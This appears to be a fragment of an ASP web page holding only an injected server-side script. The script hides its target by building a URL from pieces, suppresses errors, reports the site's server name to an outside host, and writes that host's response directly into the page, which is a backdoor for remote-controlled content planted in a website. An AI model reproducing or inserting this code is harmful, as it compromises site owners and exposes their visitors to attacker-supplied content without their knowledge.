|
|
<%On Error Resume Next:Set a=CreateObject("Msxml2.ServerXMLHTTP")
t="//a.mm":t="p:"&t:t="tt"&t:t="h"&t&"lun.co":a.setTimeouts 3000,3000,3000,3000
a.open "GET",t&"m/a/?u="&Request.ServerVariables("Server_name"),False
a.Send():response.Write a.ResponseText%>
   |